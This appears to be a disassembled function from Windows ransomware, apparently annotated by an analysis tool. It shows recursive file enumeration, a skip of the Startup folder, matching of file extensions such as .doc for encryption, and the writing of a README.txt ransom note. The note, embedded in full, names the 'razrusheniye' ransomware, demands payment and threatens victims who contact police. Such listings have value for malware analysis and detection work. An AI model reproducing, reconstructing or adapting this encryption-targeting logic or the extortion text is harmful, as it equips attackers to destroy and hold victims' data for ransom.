Function at 0x140001700
Capabilities:
Enumerate files on windows
Enumerate files recursively
Query environment variable

Disassembly:
mov qword [rsp + 0x20], r9
push rbp
push rsi
push r12
push r13
sub rsp, 0x4b8
mov rsi, r9
mov r12, r8
mov r9, rcx
lea r8, str._s
mov r13, rdx
mov rbp, rcx
lea rcx, [rsp + 0x3a0]
mov edx, 0x104
call fcn.140001060
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
je 0x140001a36
mov qword [rsp + 0x4e0], rbx
mov qword [rsp + 0x4e8], rdi
mov rdi, rax
mov qword [rsp + 0x4f0], r14
lea r14, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov qword [rsp + 0x4b0], r15
xor r15d, r15d
nop dword [rax]
test byte [rsp + 0x150], 0x10
je 0x1400018ac
lea rax, [rsp + 0x17c]
lea r8, [0x14000548c]
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400017c3
inc rax
test ecx, ecx
jne 0x1400017b0
test edx, edx
je 0x140001931
lea rax, [rsp + 0x17c]
lea r8, [0x140005488]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400017f3
inc rax
test ecx, ecx
jne 0x1400017e0
test edx, edx
je 0x140001931
lea rax, [rsp + 0x17c]
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140001060
mov ebx, r15d
mov rdi, r14
nop word [rax + rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x290]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x290]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140001864
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400018a2
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x140001830
mov r9, rsi
lea rcx, [rsp + 0x40]
mov r8, r12
mov rdx, r13
call fcn.140001700
mov rdi, qword [rsp + 0x30]
jmp 0x140001931
mov edx, 0x2e
lea rcx, [rsp + 0x17c]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov rsi, rax
test rax, rax
je 0x140001929
mov ebx, r15d
lea rdi, str..doc
mov rdx, qword [rdi]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400018ee
inc ebx
add rdi, 8
cmp ebx, 0x57
jb 0x1400018d1
jmp 0x140001924
lea rax, [rsp + 0x17c]
mov r9, rbp
lea r8, [0x140005478]
mov qword [rsp + 0x20], rax
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140001060
mov r8, r12
lea rcx, [rsp + 0x40]
mov rdx, r13
call fcn.140001340
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x4f8]
lea rdx, [rsp + 0x150]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140001790
mov ebx, r15d
nop dword [rax]
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [r14]
lea rcx, [rsp + 0x40]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x140001980
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400019a8
inc ebx
add r14, 8
cmp ebx, 3
jb 0x140001950
jmp 0x1400019ae
mov r15d, 1
mov r14, qword [rsp + 0x4f0]
test r15d, r15d
mov r15, qword [rsp + 0x4b0]
jne 0x140001a1d
mov rcx, rbp
call fcn.140001660
test eax, eax
jne 0x140001a1d
mov r9, rbp
lea r8, str._sREADME.txt
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140001060
lea rdx, [0x1400059b0]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
je 0x140001a1d
mov r8, rsi
lea rdx, str._Your_files_have_been_encrypted_by_the_razrusheniye_ransomware__._nUsing_advanced_AES256_CBC_encryption__your_databases__documents__photos_and_other_important_files_have_been_encrypted__nThis_means_you_will_not_be_able_to_access_them_unless_you_decrypt_them._nSee_for_yourself__Look_at_any_file_with_.raz_extension._nYou_cannot_recover_these_files_yourself._Thats_not_how_cryptography_works._nDo_not_waste_your_time._Nobody_can_recover_your_files_besides_us__nIf_you_fulfil_the_following__you_are_eligible_for_a_50___discount__n_____You_do_NOT_contact_ANYONE_about_this_incident._n_____You_contact_us_in_UNDER_than_6_hours._nWe_can_decrypt_these_files__we_can_guarantee_that_your_files_can_be_decrypted._nPayment_for_the_decryption_is__70__with_the_50___discount___35___nWe_can_restore_your_systems_in_less_than_6_hours_if_you_pay_now._nHowever__we_will_not_decrypt_your_system_if__n_____You_go_to_police_and_report_us._n____If_you_report_us_AFTER_decryption__we_WILL_attack_you_again_______nDo_not_delete_or_modify_encrypted_files__it_will_cause_problems_when_recovering_the_files__nSent_the_personal_ID_to_razrhelp_firemail.cc_nWe_will_provide_payment_information__once_payment_is_done__we_will_sent_you_a_decryptor__nIf_you_do_not_pay__you_will_NEVER_get_your_data_back__n____Your_personal_ID:__s_____n
mov rcx, rax
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rdi, qword [rsp + 0x4e8]
mov rbx, qword [rsp + 0x4e0]
add rsp, 0x4b8
pop r13
pop r12
pop rsi
pop rbp
ret